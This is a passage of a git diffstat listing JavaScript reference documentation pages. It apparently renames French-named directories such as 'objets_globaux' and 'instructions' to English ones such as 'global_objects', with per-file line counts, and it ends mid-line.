.../global_objects/array/length/index.html | 123 + .../reference/global_objects/array/map/index.html | 215 ++ .../reference/global_objects/array/of/index.html | 105 + .../reference/global_objects/array/pop/index.html | 111 + .../reference/global_objects/array/push/index.html | 144 + .../global_objects/array/reduce/index.html | 407 +++ .../global_objects/array/reduceright/index.html | 282 ++ .../global_objects/array/reverse/index.html | 105 + .../global_objects/array/shift/index.html | 118 + .../global_objects/array/slice/index.html | 178 ++ .../reference/global_objects/array/some/index.html | 133 + .../reference/global_objects/array/sort/index.html | 286 ++ .../global_objects/array/splice/index.html | 146 + .../global_objects/array/tolocalestring/index.html | 190 ++ .../global_objects/array/tosource/index.html | 68 + .../global_objects/array/tostring/index.html | 83 + .../global_objects/array/unshift/index.html | 122 + .../global_objects/array/values/index.html | 100 + .../arraybuffer/@@species/index.html | 74 + .../arraybuffer/bytelength/index.html | 71 + .../global_objects/arraybuffer/index.html | 145 + .../global_objects/arraybuffer/isview/index.html | 90 + .../global_objects/arraybuffer/slice/index.html | 88 + .../global_objects/asyncfunction/index.html | 121 + .../global_objects/atomics/add/index.html | 84 + .../global_objects/atomics/and/index.html | 130 + .../atomics/compareexchange/index.html | 87 + .../global_objects/atomics/exchange/index.html | 84 + .../reference/global_objects/atomics/index.html | 118 + .../global_objects/atomics/islockfree/index.html | 74 + .../global_objects/atomics/load/index.html | 82 + .../global_objects/atomics/notify/index.html | 94 + .../reference/global_objects/atomics/or/index.html | 130 + .../global_objects/atomics/store/index.html | 90 + .../global_objects/atomics/sub/index.html | 86 + .../global_objects/atomics/wait/index.html | 96 + .../global_objects/atomics/xor/index.html | 130 + .../global_objects/bigint/asintn/index.html | 76 + .../global_objects/bigint/asuintn/index.html | 76 + .../reference/global_objects/bigint/index.html | 283 ++ .../bigint/tolocalestring/index.html | 132 + .../global_objects/bigint/tostring/index.html | 97 + .../global_objects/bigint/valueof/index.html | 62 + .../global_objects/bigint64array/index.html | 184 ++ .../global_objects/biguint64array/index.html | 184 ++ .../reference/global_objects/boolean/index.html | 166 + .../global_objects/boolean/tosource/index.html | 59 + .../global_objects/boolean/tostring/index.html | 90 + .../global_objects/boolean/valueof/index.html | 86 + .../global_objects/dataview/buffer/index.html | 71 + .../global_objects/dataview/bytelength/index.html | 78 + .../global_objects/dataview/byteoffset/index.html | 75 + .../global_objects/dataview/getbigint64/index.html | 88 + .../dataview/getbiguint64/index.html | 88 + .../global_objects/dataview/getfloat32/index.html | 96 + .../global_objects/dataview/getfloat64/index.html | 96 + .../global_objects/dataview/getint16/index.html | 96 + .../global_objects/dataview/getint32/index.html | 96 + .../global_objects/dataview/getint8/index.html | 94 + .../global_objects/dataview/getuint16/index.html | 96 + .../global_objects/dataview/getuint32/index.html | 96 + .../global_objects/dataview/getuint8/index.html | 94 + .../reference/global_objects/dataview/index.html | 166 + .../global_objects/dataview/setbigint64/index.html | 84 + .../dataview/setbiguint64/index.html | 85 + .../global_objects/dataview/setfloat32/index.html | 95 + .../global_objects/dataview/setfloat64/index.html | 95 + .../global_objects/dataview/setint16/index.html | 95 + .../global_objects/dataview/setint32/index.html | 95 + .../global_objects/dataview/setint8/index.html | 93 + .../global_objects/dataview/setuint16/index.html | 95 + .../global_objects/dataview/setuint32/index.html | 95 + .../global_objects/dataview/setuint8/index.html | 93 + .../global_objects/date/@@toprimitive/index.html | 67 + .../global_objects/date/getdate/index.html | 88 + .../global_objects/date/getday/index.html | 95 + .../global_objects/date/getfullyear/index.html | 84 + .../global_objects/date/gethours/index.html | 83 + .../global_objects/date/getmilliseconds/index.html | 81 + .../global_objects/date/getminutes/index.html | 85 + .../global_objects/date/getmonth/index.html | 94 + .../global_objects/date/getseconds/index.html | 83 + .../global_objects/date/gettime/index.html | 122 + .../date/gettimezoneoffset/index.html | 82 + .../global_objects/date/getutcdate/index.html | 82 + .../global_objects/date/getutcday/index.html | 82 + .../global_objects/date/getutcfullyear/index.html | 80 + .../global_objects/date/getutchours/index.html | 81 + .../date/getutcmilliseconds/index.html | 85 + .../global_objects/date/getutcminutes/index.html | 81 + .../global_objects/date/getutcmonth/index.html | 81 + .../global_objects/date/getutcseconds/index.html | 81 + .../global_objects/date/getyear/index.html | 127 + .../reference/global_objects/date/index.html | 258 ++ .../reference/global_objects/date/now/index.html | 106 + .../reference/global_objects/date/parse/index.html | 198 ++ .../global_objects/date/setdate/index.html | 98 + .../global_objects/date/setfullyear/index.html | 97 + .../global_objects/date/sethours/index.html | 103 + .../global_objects/date/setmilliseconds/index.html | 90 + .../global_objects/date/setminutes/index.html | 106 + .../global_objects/date/setmonth/index.html | 110 + .../global_objects/date/setseconds/index.html | 98 + .../global_objects/date/settime/index.html | 91 + .../global_objects/date/setutcdate/index.html | 90 + .../global_objects/date/setutcfullyear/index.html | 96 + .../global_objects/date/setutchours/index.html | 98 + .../date/setutcmilliseconds/index.html | 90 + .../global_objects/date/setutcminutes/index.html | 99 + .../global_objects/date/setutcmonth/index.html | 94 + .../global_objects/date/setutcseconds/index.html | 94 + .../global_objects/date/setyear/index.html | 94 + .../global_objects/date/todatestring/index.html | 94 + .../global_objects/date/togmtstring/index.html | 85 + .../global_objects/date/toisostring/index.html | 107 + .../global_objects/date/tojson/index.html | 81 + .../date/tolocaledatestring/index.html | 186 ++ .../global_objects/date/tolocalestring/index.html | 204 ++ .../date/tolocaletimestring/index.html | 178 ++ .../global_objects/date/tosource/index.html | 57 + .../global_objects/date/tostring/index.html | 135 + .../global_objects/date/totimestring/index.html | 88 + .../global_objects/date/toutcstring/index.html | 92 + .../reference/global_objects/date/utc/index.html | 137 + .../global_objects/date/valueof/index.html | 87 + .../reference/global_objects/decodeuri/index.html | 103 + .../global_objects/decodeuricomponent/index.html | 92 + .../reference/global_objects/encodeuri/index.html | 124 + .../global_objects/encodeuricomponent/index.html | 163 + .../global_objects/error/columnnumber/index.html | 43 + .../global_objects/error/filename/index.html | 48 + .../reference/global_objects/error/index.html | 249 ++ .../global_objects/error/linenumber/index.html | 51 + .../global_objects/error/message/index.html | 76 + .../reference/global_objects/error/name/index.html | 76 + .../global_objects/error/stack/index.html | 124 + .../global_objects/error/tosource/index.html | 55 + .../global_objects/error/tostring/index.html | 112 + .../reference/global_objects/escape/index.html | 97 + .../reference/global_objects/eval/index.html | 281 ++ .../reference/global_objects/evalerror/index.html | 115 + .../global_objects/float32array/index.html | 205 ++ .../global_objects/float64array/index.html | 204 ++ .../global_objects/function/apply/index.html | 211 ++ .../global_objects/function/arguments/index.html | 91 + .../global_objects/function/bind/index.html | 250 ++ .../global_objects/function/call/index.html | 177 ++ .../global_objects/function/caller/index.html | 83 + .../global_objects/function/displayname/index.html | 81 + .../reference/global_objects/function/index.html | 153 + .../global_objects/function/length/index.html | 89 + .../global_objects/function/name/index.html | 201 ++ .../global_objects/function/tosource/index.html | 67 + .../global_objects/function/tostring/index.html | 98 + .../reference/global_objects/generator/index.html | 135 + .../global_objects/generator/next/index.html | 116 + .../global_objects/generator/return/index.html | 102 + .../global_objects/generator/throw/index.html | 101 + .../global_objects/generatorfunction/index.html | 115 + .../reference/global_objects/globalthis/index.html | 87 + .../javascript/reference/global_objects/index.html | 185 ++ .../reference/global_objects/infinity/index.html | 83 + .../reference/global_objects/int16array/index.html | 205 ++ .../reference/global_objects/int32array/index.html | 205 ++ .../reference/global_objects/int8array/index.html | 209 ++ .../global_objects/internalerror/index.html | 81 + .../intl/collator/compare/index.html | 102 + .../global_objects/intl/collator/index.html | 178 ++ .../intl/collator/resolvedoptions/index.html | 98 + .../intl/collator/supportedlocalesof/index.html | 98 + .../intl/datetimeformat/format/index.html | 126 + .../intl/datetimeformat/formatrange/index.html | 82 + .../datetimeformat/formatrangetoparts/index.html | 73 + .../intl/datetimeformat/formattoparts/index.html | 166 + .../global_objects/intl/datetimeformat/index.html | 297 ++ .../intl/datetimeformat/resolvedoptions/index.html | 105 + .../datetimeformat/supportedlocalesof/index.html | 98 + .../intl/getcanonicallocales/index.html | 73 + .../reference/global_objects/intl/index.html | 163 + .../intl/listformat/format/index.html | 68 + .../intl/listformat/formattoparts/index.html | 90 + .../global_objects/intl/listformat/index.html | 153 + .../intl/listformat/resolvedoptions/index.html | 82 + .../intl/listformat/supportedlocalesof/index.html | 88 + .../global_objects/intl/locale/basename/index.html | 75 + .../global_objects/intl/locale/calendar/index.html | 156 + .../intl/locale/casefirst/index.html | 94 + .../intl/locale/collation/index.html | 167 + .../intl/locale/hourcycle/index.html | 95 + .../global_objects/intl/locale/index.html | 74 + .../global_objects/intl/locale/language/index.html | 69 + .../global_objects/intl/locale/maximize/index.html | 78 + .../global_objects/intl/locale/minimize/index.html | 80 + .../intl/locale/numberingsystem/index.html | 425 +++ .../global_objects/intl/locale/numeric/index.html | 69 + .../global_objects/intl/locale/region/index.html | 71 + .../global_objects/intl/locale/script/index.html | 68 + .../global_objects/intl/locale/tostring/index.html | 69 + .../intl/numberformat/format/index.html | 97 + .../intl/numberformat/formattoparts/index.html | 152 + .../global_objects/intl/numberformat/index.html | 203 ++ .../intl/numberformat/resolvedoptions/index.html | 112 + .../numberformat/supportedlocalesof/index.html | 98 + .../global_objects/intl/pluralrules/index.html | 160 + .../intl/pluralrules/resolvedoptions/index.html | 95 + .../intl/pluralrules/select/index.html | 79 + .../intl/pluralrules/supportedlocalesof/index.html | 84 + .../intl/relativetimeformat/format/index.html | 103 + .../relativetimeformat/formattoparts/index.html | 86 + .../intl/relativetimeformat/index.html | 162 + .../relativetimeformat/resolvedoptions/index.html | 100 + .../supportedlocalesof/index.html | 87 + .../reference/global_objects/isfinite/index.html | 101 + .../reference/global_objects/isnan/index.html | 155 + .../reference/global_objects/json/index.html | 153 + .../reference/global_objects/json/parse/index.html | 131 + .../global_objects/json/stringify/index.html | 372 +++ .../global_objects/map/@@iterator/index.html | 92 + .../global_objects/map/@@species/index.html | 72 + .../global_objects/map/@@tostringtag/index.html | 57 + .../reference/global_objects/map/clear/index.html | 78 + .../reference/global_objects/map/delete/index.html | 77 + .../global_objects/map/entries/index.html | 81 + .../global_objects/map/foreach/index.html | 105 + .../reference/global_objects/map/get/index.html | 79 + .../reference/global_objects/map/has/index.html | 79 + .../reference/global_objects/map/index.html | 277 ++ .../reference/global_objects/map/keys/index.html | 78 + .../reference/global_objects/map/set/index.html | 96 + .../reference/global_objects/map/size/index.html | 68 + .../reference/global_objects/map/values/index.html | 78 + .../reference/global_objects/math/abs/index.html | 103 + .../reference/global_objects/math/acos/index.html | 103 + .../reference/global_objects/math/acosh/index.html | 100 + .../reference/global_objects/math/asin/index.html | 102 + .../reference/global_objects/math/asinh/index.html | 91 + .../reference/global_objects/math/atan/index.html | 105 + .../reference/global_objects/math/atan2/index.html | 113 + .../reference/global_objects/math/atanh/index.html | 102 + .../reference/global_objects/math/cbrt/index.html | 91 + .../reference/global_objects/math/ceil/index.html | 177 ++ .../reference/global_objects/math/clz32/index.html | 95 + .../reference/global_objects/math/cos/index.html | 98 + .../reference/global_objects/math/cosh/index.html | 104 + .../reference/global_objects/math/e/index.html | 83 + .../reference/global_objects/math/exp/index.html | 96 + .../reference/global_objects/math/expm1/index.html | 94 + .../reference/global_objects/math/floor/index.html | 100 + .../global_objects/math/fround/index.html | 89 + .../reference/global_objects/math/hypot/index.html | 129 + .../reference/global_objects/math/imul/index.html | 93 + .../reference/global_objects/math/index.html | 173 ++ .../reference/global_objects/math/ln10/index.html | 83 + .../reference/global_objects/math/ln2/index.html | 83 + .../reference/global_objects/math/log/index.html | 107 + .../reference/global_objects/math/log10/index.html | 100 + .../global_objects/math/log10e/index.html | 83 + .../reference/global_objects/math/log1p/index.html | 99 + .../reference/global_objects/math/log2/index.html | 92 + .../reference/global_objects/math/log2e/index.html | 83 + .../reference/global_objects/math/max/index.html | 115 + .../reference/global_objects/math/min/index.html | 111 + .../reference/global_objects/math/pi/index.html | 81 + .../reference/global_objects/math/pow/index.html | 106 + .../global_objects/math/random/index.html | 114 + .../reference/global_objects/math/round/index.html | 97 + .../reference/global_objects/math/sign/index.html | 92 + .../reference/global_objects/math/sin/index.html | 94 + .../reference/global_objects/math/sinh/index.html | 98 + .../reference/global_objects/math/sqrt/index.html | 97 + .../global_objects/math/sqrt1_2/index.html | 80 + .../reference/global_objects/math/sqrt2/index.html | 80 + .../reference/global_objects/math/tan/index.html | 101 + .../reference/global_objects/math/tanh/index.html | 106 + .../reference/global_objects/math/trunc/index.html | 97 + .../reference/global_objects/nan/index.html | 92 + .../reference/global_objects/null/index.html | 91 + .../global_objects/number/epsilon/index.html | 76 + .../reference/global_objects/number/index.html | 203 ++ .../global_objects/number/isfinite/index.html | 115 + .../global_objects/number/isinteger/index.html | 102 + .../global_objects/number/isnan/index.html | 104 + .../global_objects/number/issafeinteger/index.html | 100 + .../number/max_safe_integer/index.html | 74 + .../global_objects/number/max_value/index.html | 80 + .../number/min_safe_integer/index.html | 72 + .../global_objects/number/min_value/index.html | 83 + .../reference/global_objects/number/nan/index.html | 64 + .../number/negative_infinity/index.html | 99 + .../global_objects/number/parsefloat/index.html | 84 + .../global_objects/number/parseint/index.html | 84 + .../number/positive_infinity/index.html | 100 + .../global_objects/number/toexponential/index.html | 112 + .../global_objects/number/tofixed/index.html | 116 + .../number/tolocalestring/index.html | 197 ++ .../global_objects/number/toprecision/index.html | 105 + .../global_objects/number/tosource/index.html | 57 + .../global_objects/number/tostring/index.html | 120 + .../global_objects/number/valueof/index.html | 86 + .../object/__definegetter__/index.html | 103 + .../object/__definesetter__/index.html | 115 + .../object/__lookupgetter__/index.html | 91 + .../object/__lookupsetter__/index.html | 91 + .../global_objects/object/assign/index.html | 219 ++ .../global_objects/object/constructor/index.html | 233 ++ .../global_objects/object/create/index.html | 304 ++ .../object/defineproperties/index.html | 201 ++ .../object/defineproperty/index.html | 421 +++ .../global_objects/object/entries/index.html | 162 + .../global_objects/object/freeze/index.html | 257 ++ .../global_objects/object/fromentries/index.html | 108 + .../object/getownpropertydescriptor/index.html | 149 + .../object/getownpropertydescriptors/index.html | 120 + .../object/getownpropertynames/index.html | 180 ++ .../object/getownpropertysymbols/index.html | 92 + .../object/getprototypeof/index.html | 101 + .../object/hasownproperty/index.html | 158 + .../reference/global_objects/object/index.html | 184 ++ .../reference/global_objects/object/is/index.html | 130 + .../global_objects/object/isextensible/index.html | 114 + .../global_objects/object/isfrozen/index.html | 177 ++ .../global_objects/object/isprototypeof/index.html | 126 + .../global_objects/object/issealed/index.html | 137 + .../global_objects/object/keys/index.html | 129 + .../object/preventextensions/index.html | 141 + .../object/propertyisenumerable/index.html | 150 + .../global_objects/object/proto/index.html | 162 + .../global_objects/object/seal/index.html | 153 + .../object/setprototypeof/index.html | 210 ++ .../object/tolocalestring/index.html | 85 + .../global_objects/object/tosource/index.html | 132 + .../global_objects/object/tostring/index.html | 138 + .../global_objects/object/valueof/index.html | 120 + .../global_objects/object/values/index.html | 109 + .../reference/global_objects/parsefloat/index.html | 150 + .../reference/global_objects/parseint/index.html | 204 ++ .../global_objects/promise/all/index.html | 226 ++ .../global_objects/promise/allsettled/index.html | 66 + .../global_objects/promise/any/index.html | 145 + .../global_objects/promise/catch/index.html | 164 + .../global_objects/promise/finally/index.html | 106 + .../reference/global_objects/promise/index.html | 243 ++ .../global_objects/promise/race/index.html | 191 ++ .../global_objects/promise/reject/index.html | 79 + .../global_objects/promise/resolve/index.html | 156 + .../global_objects/promise/then/index.html | 265 ++ .../reference/global_objects/proxy/index.html | 407 +++ .../global_objects/proxy/proxy/apply/index.html | 118 + .../proxy/proxy/construct/index.html | 137 + .../proxy/proxy/defineproperty/index.html | 144 + .../proxy/proxy/deleteproperty/index.html | 113 + .../global_objects/proxy/proxy/get/index.html | 136 + .../proxy/getownpropertydescriptor/index.html | 132 + .../proxy/proxy/getprototypeof/index.html | 154 + .../global_objects/proxy/proxy/has/index.html | 130 + .../global_objects/proxy/proxy/index.html | 83 + .../proxy/proxy/isextensible/index.html | 123 + .../global_objects/proxy/proxy/ownkeys/index.html | 136 + .../proxy/proxy/preventextensions/index.html | 124 + .../global_objects/proxy/proxy/set/index.html | 125 + .../proxy/proxy/setprototypeof/index.html | 136 + .../global_objects/proxy/revocable/index.html | 92 + .../reference/global_objects/rangeerror/index.html | 150 + .../global_objects/referenceerror/index.html | 131 + .../global_objects/reflect/apply/index.html | 100 + .../index.html | 99 + .../global_objects/reflect/construct/index.html | 163 + .../reflect/defineproperty/index.html | 100 + .../reflect/deleteproperty/index.html | 96 + .../global_objects/reflect/get/index.html | 98 + .../reflect/getownpropertydescriptor/index.html | 103 + .../reflect/getprototypeof/index.html | 106 + .../global_objects/reflect/has/index.html | 96 + .../reference/global_objects/reflect/index.html | 85 + .../global_objects/reflect/isextensible/index.html | 113 + .../global_objects/reflect/ownkeys/index.html | 95 + .../reflect/preventextensions/index.html | 103 + .../global_objects/reflect/set/index.html | 109 + .../reflect/setprototypeof/index.html | 100 + .../global_objects/regexp/@@match/index.html | 119 + .../global_objects/regexp/@@matchall/index.html | 109 + .../global_objects/regexp/@@replace/index.html | 124 + .../global_objects/regexp/@@search/index.html | 118 + .../global_objects/regexp/@@species/index.html | 77 + .../global_objects/regexp/@@split/index.html | 118 + .../global_objects/regexp/compile/index.html | 87 + .../global_objects/regexp/dotall/index.html | 50 + .../global_objects/regexp/exec/index.html | 200 ++ .../global_objects/regexp/flags/index.html | 80 + .../global_objects/regexp/global/index.html | 90 + .../global_objects/regexp/ignorecase/index.html | 81 + .../reference/global_objects/regexp/index.html | 243 ++ .../global_objects/regexp/input/index.html | 59 + .../global_objects/regexp/lastindex/index.html | 104 + .../global_objects/regexp/lastmatch/index.html | 58 + .../global_objects/regexp/lastparen/index.html | 57 + .../global_objects/regexp/leftcontext/index.html | 56 + .../global_objects/regexp/multiline/index.html | 87 + .../reference/global_objects/regexp/n/index.html | 68 + .../global_objects/regexp/rightcontext/index.html | 57 + .../global_objects/regexp/source/index.html | 82 + .../global_objects/regexp/sticky/index.html | 95 + .../global_objects/regexp/test/index.html | 138 + .../global_objects/regexp/tosource/index.html | 57 + .../global_objects/regexp/tostring/index.html | 96 + .../global_objects/regexp/unicode/index.html | 74 + .../global_objects/set/@@iterator/index.html | 92 + .../global_objects/set/@@species/index.html | 72 + .../reference/global_objects/set/add/index.html | 81 + .../reference/global_objects/set/clear/index.html | 77 + .../reference/global_objects/set/delete/index.html | 96 + .../global_objects/set/entries/index.html | 77 + .../global_objects/set/foreach/index.html | 115 + .../reference/global_objects/set/has/index.html | 91 + .../reference/global_objects/set/index.html | 249 ++ .../reference/global_objects/set/size/index.html | 67 + .../reference/global_objects/set/values/index.html | 78 + .../sharedarraybuffer/bytelength/index.html | 62 + .../global_objects/sharedarraybuffer/index.html | 135 + .../sharedarraybuffer/slice/index.html | 92 + .../global_objects/string/@@iterator/index.html | 89 + .../global_objects/string/anchor/index.html | 86 + .../reference/global_objects/string/big/index.html | 81 + .../global_objects/string/blink/index.html | 85 + .../global_objects/string/bold/index.html | 83 + .../global_objects/string/charat/index.html | 249 ++ .../global_objects/string/charcodeat/index.html | 173 ++ .../global_objects/string/codepointat/index.html | 144 + .../global_objects/string/concat/index.html | 106 + .../global_objects/string/endswith/index.html | 103 + .../global_objects/string/fixed/index.html | 74 + .../global_objects/string/fontcolor/index.html | 89 + .../global_objects/string/fontsize/index.html | 88 + .../global_objects/string/fromcharcode/index.html | 117 + .../global_objects/string/fromcodepoint/index.html | 111 + .../global_objects/string/includes/index.html | 129 + .../reference/global_objects/string/index.html | 284 ++ .../global_objects/string/indexof/index.html | 161 + .../global_objects/string/italics/index.html | 83 + .../global_objects/string/lastindexof/index.html | 125 + .../global_objects/string/length/index.html | 101 + .../global_objects/string/link/index.html | 85 + .../global_objects/string/localecompare/index.html | 183 ++ .../global_objects/string/match/index.html | 157 + .../global_objects/string/matchall/index.html | 122 + .../global_objects/string/normalize/index.html | 127 + .../global_objects/string/padend/index.html | 76 + .../global_objects/string/padstart/index.html | 78 + .../reference/global_objects/string/raw/index.html | 116 + .../global_objects/string/repeat/index.html | 87 + .../global_objects/string/replace/index.html | 309 ++ .../global_objects/string/replaceall/index.html | 170 + .../global_objects/string/search/index.html | 106 + .../global_objects/string/slice/index.html | 129 + .../global_objects/string/small/index.html | 80 + .../global_objects/string/split/index.html | 239 ++ .../global_objects/string/startswith/index.html | 87 + .../global_objects/string/strike/index.html | 83 + .../reference/global_objects/string/sub/index.html | 76 + .../global_objects/string/substr/index.html | 139 + .../global_objects/string/substring/index.html | 180 ++ .../reference/global_objects/string/sup/index.html | 76 + .../string/tolocalelowercase/index.html | 109 + .../string/tolocaleuppercase/index.html | 110 + .../global_objects/string/tolowercase/index.html | 81 + .../global_objects/string/tosource/index.html | 58 + .../global_objects/string/tostring/index.html | 82 + .../global_objects/string/touppercase/index.html | 107 + .../global_objects/string/trim/index.html | 96 + .../global_objects/string/trimend/index.html | 82 + .../global_objects/string/trimstart/index.html | 82 + .../global_objects/string/valueof/index.html | 83 + .../global_objects/symbol/@@toprimitive/index.html | 64 + .../global_objects/symbol/asynciterator/index.html | 82 + .../global_objects/symbol/description/index.html | 74 + .../reference/global_objects/symbol/for/index.html | 113 + .../global_objects/symbol/hasinstance/index.html | 65 + .../reference/global_objects/symbol/index.html | 229 ++ .../symbol/isconcatspreadable/index.html | 110 + .../global_objects/symbol/iterator/index.html | 122 + .../global_objects/symbol/keyfor/index.html | 80 + .../global_objects/symbol/match/index.html | 79 + .../global_objects/symbol/matchall/index.html | 67 + .../global_objects/symbol/replace/index.html | 59 + .../global_objects/symbol/search/index.html | 59 + .../global_objects/symbol/species/index.html | 73 + .../global_objects/symbol/split/index.html | 59 + .../global_objects/symbol/toprimitive/index.html | 88 + .../global_objects/symbol/tosource/index.html | 60 + .../global_objects/symbol/tostring/index.html | 82 + .../global_objects/symbol/tostringtag/index.html | 93 + .../global_objects/symbol/unscopables/index.html | 93 + .../global_objects/symbol/valueof/index.html | 64 + .../global_objects/syntaxerror/index.html | 133 + .../typedarray/@@iterator/index.html | 86 + .../global_objects/typedarray/@@species/index.html | 88 + .../global_objects/typedarray/buffer/index.html | 68 + .../typedarray/bytelength/index.html | 75 + .../typedarray/byteoffset/index.html | 68 + .../typedarray/bytes_per_element/index.html | 80 + .../typedarray/copywithin/index.html | 87 + .../global_objects/typedarray/entries/index.html | 93 + .../global_objects/typedarray/every/index.html | 110 + .../global_objects/typedarray/fill/index.html | 100 + .../global_objects/typedarray/filter/index.html | 111 + .../global_objects/typedarray/find/index.html | 114 + .../global_objects/typedarray/findindex/index.html | 116 + .../global_objects/typedarray/foreach/index.html | 114 + .../global_objects/typedarray/from/index.html | 130 + .../global_objects/typedarray/includes/index.html | 86 + .../reference/global_objects/typedarray/index.html | 286 ++ .../global_objects/typedarray/indexof/index.html | 92 + .../global_objects/typedarray/join/index.html | 92 + .../global_objects/typedarray/keys/index.html | 94 + .../typedarray/lastindexof/index.html | 87 + .../global_objects/typedarray/length/index.html | 75 + .../global_objects/typedarray/map/index.html | 117 + .../global_objects/typedarray/name/index.html | 75 + .../global_objects/typedarray/of/index.html | 97 + .../global_objects/typedarray/reduce/index.html | 98 + .../typedarray/reduceright/index.html | 100 + .../global_objects/typedarray/reverse/index.html | 70 + .../global_objects/typedarray/set/index.html | 97 + .../global_objects/typedarray/slice/index.html | 109 + .../global_objects/typedarray/some/index.html | 125 + .../global_objects/typedarray/sort/index.html | 92 + .../global_objects/typedarray/subarray/index.html | 96 + .../typedarray/tolocalestring/index.html | 78 + .../global_objects/typedarray/tostring/index.html | 79 + .../global_objects/typedarray/values/index.html | 92 + .../reference/global_objects/typeerror/index.html | 139 + .../global_objects/uint16array/index.html | 206 ++ .../global_objects/uint32array/index.html | 206 ++ .../reference/global_objects/uint8array/index.html | 206 ++ .../global_objects/uint8clampedarray/index.html | 208 ++ .../reference/global_objects/undefined/index.html | 137 + .../reference/global_objects/unescape/index.html | 91 + .../reference/global_objects/uneval/index.html | 69 + .../reference/global_objects/urierror/index.html | 137 + .../global_objects/weakmap/clear/index.html | 52 + .../global_objects/weakmap/delete/index.html | 78 + .../global_objects/weakmap/get/index.html | 79 + .../global_objects/weakmap/has/index.html | 79 + .../reference/global_objects/weakmap/index.html | 163 + .../global_objects/weakmap/set/index.html | 90 + .../global_objects/weakset/add/index.html | 84 + .../global_objects/weakset/clear/index.html | 48 + .../global_objects/weakset/delete/index.html | 82 + .../global_objects/weakset/has/index.html | 83 + .../reference/global_objects/weakset/index.html | 146 + .../global_objects/webassembly/compile/index.html | 89 + .../webassembly/compileerror/index.html | 120 + .../webassembly/compilestreaming/index.html | 81 + .../global_objects/webassembly/global/index.html | 117 + .../global_objects/webassembly/index.html | 106 + .../webassembly/instance/exports/index.html | 71 + .../global_objects/webassembly/instance/index.html | 81 + .../webassembly/instantiate/index.html | 175 ++ .../webassembly/instantiatestreaming/index.html | 90 + .../webassembly/linkerror/index.html | 119 + .../webassembly/memory/buffer/index.html | 67 + .../webassembly/memory/grow/index.html | 81 + .../global_objects/webassembly/memory/index.html | 123 + .../webassembly/module/customsections/index.html | 98 + .../webassembly/module/exports/index.html | 108 + .../webassembly/module/imports/index.html | 84 + .../global_objects/webassembly/module/index.html | 89 + .../webassembly/runtimeerror/index.html | 119 + .../webassembly/table/get/index.html | 83 + .../webassembly/table/grow/index.html | 83 + .../global_objects/webassembly/table/index.html | 137 + .../webassembly/table/length/index.html | 68 + .../webassembly/table/set/index.html | 105 + .../global_objects/webassembly/validate/index.html | 81 + .../reference/grammaire_lexicale/index.html | 593 ---- .../instructions/async_function/index.html | 271 -- .../reference/instructions/bloc/index.html | 148 - .../reference/instructions/break/index.html | 156 - .../reference/instructions/class/index.html | 114 - .../reference/instructions/const/index.html | 144 - .../reference/instructions/continue/index.html | 163 - .../reference/instructions/debugger/index.html | 79 - .../reference/instructions/default/index.html | 124 - .../reference/instructions/do...while/index.html | 91 - .../reference/instructions/export/index.html | 182 -- .../instructions/for-await...of/index.html | 142 - .../reference/instructions/for...in/index.html | 159 - .../reference/instructions/for...of/index.html | 316 -- .../reference/instructions/for/index.html | 148 - .../reference/instructions/function/index.html | 179 -- .../instructions/function_star_/index.html | 248 -- .../reference/instructions/if...else/index.html | 174 -- .../reference/instructions/import.meta/index.html | 70 - .../reference/instructions/import/index.html | 242 -- .../javascript/reference/instructions/index.html | 155 - .../reference/instructions/label/index.html | 206 -- .../reference/instructions/let/index.html | 371 --- .../reference/instructions/return/index.html | 169 - .../reference/instructions/switch/index.html | 317 -- .../reference/instructions/throw/index.html | 201 -- .../reference/instructions/try...catch/index.html | 306 -- .../reference/instructions/var/index.html | 223 -- .../reference/instructions/vide/index.html | 108 - .../reference/instructions/while/index.html | 102 - .../reference/instructions/with/index.html | 135 - .../reference/iteration_protocols/index.html | 353 +++ .../reference/les_protocoles_iteration/index.html | 353 --- .../reference/lexical_grammar/index.html | 593 ++++ .../litt\303\251raux_gabarits/index.html" | 247 -- .../mots_r\303\251serv\303\251s/index.html" | 94 - .../objets_globaux/aggregateerror/index.html | 88 - .../objets_globaux/array/@@iterator/index.html | 90 - .../objets_globaux/array/@@species/index.html | 78 - .../objets_globaux/array/@@unscopables/index.html | 76 - .../objets_globaux/array/array/index.html | 86 - .../objets_globaux/array/concat/index.html | 160 - .../objets_globaux/array/copywithin/index.html | 199 -- .../objets_globaux/array/entries/index.html | 97 - .../objets_globaux/array/every/index.html | 201 -- .../reference/objets_globaux/array/fill/index.html | 155 - .../objets_globaux/array/filter/index.html | 228 -- .../reference/objets_globaux/array/find/index.html | 145 - .../objets_globaux/array/findindex/index.html | 179 -- .../reference/objets_globaux/array/flat/index.html | 148 - .../objets_globaux/array/flatmap/index.html | 126 - .../objets_globaux/array/foreach/index.html | 278 -- .../reference/objets_globaux/array/from/index.html | 138 - .../objets_globaux/array/includes/index.html | 135 - .../reference/objets_globaux/array/index.html | 446 --- .../objets_globaux/array/indexof/index.html | 214 -- .../objets_globaux/array/isarray/index.html | 117 - .../reference/objets_globaux/array/join/index.html | 110 - .../reference/objets_globaux/array/keys/index.html | 87 - .../objets_globaux/array/lastindexof/index.html | 167 - .../objets_globaux/array/length/index.html | 123 - .../reference/objets_globaux/array/map/index.html | 215 -- .../reference/objets_globaux/array/of/index.html | 105 - .../reference/objets_globaux/array/pop/index.html | 111 - .../objets_globaux/array/prototype/index.html | 181 -- .../reference/objets_globaux/array/push/index.html | 144 - .../objets_globaux/array/reduce/index.html | 407 --- .../objets_globaux/array/reduceright/index.html | 282 -- .../objets_globaux/array/reverse/index.html | 105 - .../objets_globaux/array/shift/index.html | 118 - .../objets_globaux/array/slice/index.html | 178 -- .../reference/objets_globaux/array/some/index.html | 133 - .../reference/objets_globaux/array/sort/index.html | 286 -- .../objets_globaux/array/splice/index.html | 146 - .../objets_globaux/array/tolocalestring/index.html | 190 -- .../objets_globaux/array/tosource/index.html | 68 - .../objets_globaux/array/tostring/index.html | 83 - .../objets_globaux/array/unshift/index.html | 122 - .../objets_globaux/array/values/index.html | 100 - .../arraybuffer/@@species/index.html | 74 - .../arraybuffer/bytelength/index.html | 71 - .../objets_globaux/arraybuffer/index.html | 145 - .../objets_globaux/arraybuffer/isview/index.html | 90 - .../arraybuffer/prototype/index.html | 70 - .../objets_globaux/arraybuffer/slice/index.html | 88 - .../objets_globaux/asyncfunction/index.html | 121 - .../asyncfunction/prototype/index.html | 61 - .../objets_globaux/atomics/add/index.html | 84 - .../objets_globaux/atomics/and/index.html | 130 - .../atomics/compareexchange/index.html | 87 - .../objets_globaux/atomics/exchange/index.html | 84 - .../reference/objets_globaux/atomics/index.html | 118 - .../objets_globaux/atomics/islockfree/index.html | 74 - .../objets_globaux/atomics/load/index.html | 82 - .../objets_globaux/atomics/notify/index.html | 